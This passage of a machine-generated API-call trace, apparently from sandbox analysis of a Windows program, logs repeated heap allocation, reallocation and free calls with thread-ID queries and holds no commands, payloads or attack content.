lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e18 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f38 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f20 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e30 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d70 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ea8 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d88 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fc8 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f08 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f80 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d40 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84da0 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ef0 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cf8 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b20 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f68 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d28 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ed8 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d58 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e90 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fe0 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84db8 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fb0 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e60 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84de8 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f98 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d10 | out: hHeap=0x2ad0000) returned 1 [0076.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e78 | out: hHeap=0x2ad0000) returned 1 [0076.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84dd0 | out: hHeap=0x2ad0000) returned 1 [0076.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ec0 | out: hHeap=0x2ad0000) returned 1 [0076.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18e18 | out: hHeap=0x2ad0000) returned 1 [0076.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e00 | out: hHeap=0x2ad0000) returned 1 [0076.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e48 [0076.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f98 [0076.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.124] GetCurrentThreadId () returned 0x9b0 [0076.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.124] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33f87d0, Size=0x941) returned 0x33f87d0 [0076.124] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33f87d0, Size=0xf9a) returned 0x341df38 [0076.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x341df38 | out: hHeap=0x2ad0000) returned 1 [0076.125] GetCurrentThreadId () returned 0x9b0 [0076.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.125] GetLastError () returned 0x0 [0076.125] GetLastError () returned 0x0 [0076.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.125] GetCurrentThreadId () returned 0x9b0 [0076.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.126] GetCurrentThreadId () returned 0x9b0 [0076.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.126] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f98, Size=0x10) returned 0x2c84e30 [0076.126] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e48, Size=0x10) returned 0x2c84cf8 [0076.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6b8 [0076.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.126] GetCurrentThreadId () returned 0x9b0 [0076.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84da0 [0076.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.127] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e30, Size=0x10) returned 0x2c84f20 [0076.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ec0 [0076.127] GetCurrentThreadId () returned 0x9b0 [0076.127] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84cf8, Size=0x10) returned 0x2c84ed8 [0076.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.127] GetCurrentThreadId () returned 0x9b0 [0076.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84da0 | out: hHeap=0x2ad0000) returned 1 [0076.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6b8 [0076.127] GetCurrentThreadId () returned 0x9b0 [0076.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84db8 [0076.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.128] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f20, Size=0x10) returned 0x2c84f98 [0076.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e90 [0076.128] GetCurrentThreadId () returned 0x9b0 [0076.128] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ed8, Size=0x10) returned 0x2c84d58 [0076.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.129] GetCurrentThreadId () returned 0x9b0 [0076.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84db8 | out: hHeap=0x2ad0000) returned 1 [0076.129] GetCurrentThreadId () returned 0x9b0 [0076.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.129] GetCurrentThreadId () returned 0x9b0 [0076.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de748 [0076.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de748 | out: hHeap=0x2ad0000) returned 1 [0076.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de718 [0076.129] GetCurrentThreadId () returned 0x9b0 [0076.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84da0 [0076.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f98, Size=0x10) returned 0x2c84d88 [0076.130] GetCurrentThreadId () returned 0x9b0 [0076.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f20 [0076.130] GetCurrentThreadId () returned 0x9b0 [0076.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f68 [0076.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84d58, Size=0x10) returned 0x2c84f50 [0076.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.130] GetCurrentThreadId () returned 0x9b0 [0076.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84cf8 [0076.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0076.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e90 | out: hHeap=0x2ad0000) returned 1 [0076.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84da0 | out: hHeap=0x2ad0000) returned 1 [0076.131] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84d88, Size=0x10) returned 0x2c84f98 [0076.131] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f50, Size=0x10) returned 0x2c84f80 [0076.131] GetCurrentThreadId () returned 0x9b0 [0076.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cf8 | out: hHeap=0x2ad0000) returned 1 [0076.131] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f98, Size=0x10) returned 0x2c84fe0 [0076.131] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f80, Size=0x10) returned 0x2c84f98 [0076.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.131] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84fe0, Size=0x10) returned 0x2c84d70 [0076.131] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f98, Size=0x10) returned 0x2c84fb0 [0076.131] GetCurrentThreadId () returned 0x9b0 [0076.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0076.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.132] GetCurrentThreadId () returned 0x9b0 [0076.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0076.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.132] GetCurrentThreadId () returned 0x9b0 [0076.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f38 [0076.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d40 [0076.132] GetCurrentThreadId () returned 0x9b0 [0076.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0076.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f38 | out: hHeap=0x2ad0000) returned 1 [0076.133] GetCurrentThreadId () returned 0x9b0 [0076.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de728 [0076.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0076.133] GetCurrentThreadId () returned 0x9b0 [0076.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f38 [0076.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84fc8 [0076.133] GetCurrentThreadId () returned 0x9b0 [0076.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0076.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f38 | out: hHeap=0x2ad0000) returned 1 [0076.134] GetCurrentThreadId () returned 0x9b0 [0076.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0076.134] GetCurrentThreadId () returned 0x9b0 [0076.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.134] GetCurrentThreadId () returned 0x9b0 [0076.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de718 [0076.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de748 [0076.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.135] GetCurrentThreadId () returned 0x9b0 [0076.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f08 [0076.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de748 | out: hHeap=0x2ad0000) returned 1 [0076.135] GetCurrentThreadId () returned 0x9b0 [0076.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d88 [0076.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f38 [0076.135] GetCurrentThreadId () returned 0x9b0 [0076.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.136] GetCurrentThreadId () returned 0x9b0 [0076.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84da0 [0076.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0076.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fc8 | out: hHeap=0x2ad0000) returned 1 [0076.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f08 | out: hHeap=0x2ad0000) returned 1 [0076.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84da0 | out: hHeap=0x2ad0000) returned 1 [0076.136] GetCurrentThreadId () returned 0x9b0 [0076.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f50 [0076.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.136] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84d70, Size=0x10) returned 0x2c84ed8 [0076.136] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84fb0, Size=0x10) returned 0x2c84e78 [0076.136] GetCurrentThreadId () returned 0x9b0 [0076.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.137] HeapFree (in: 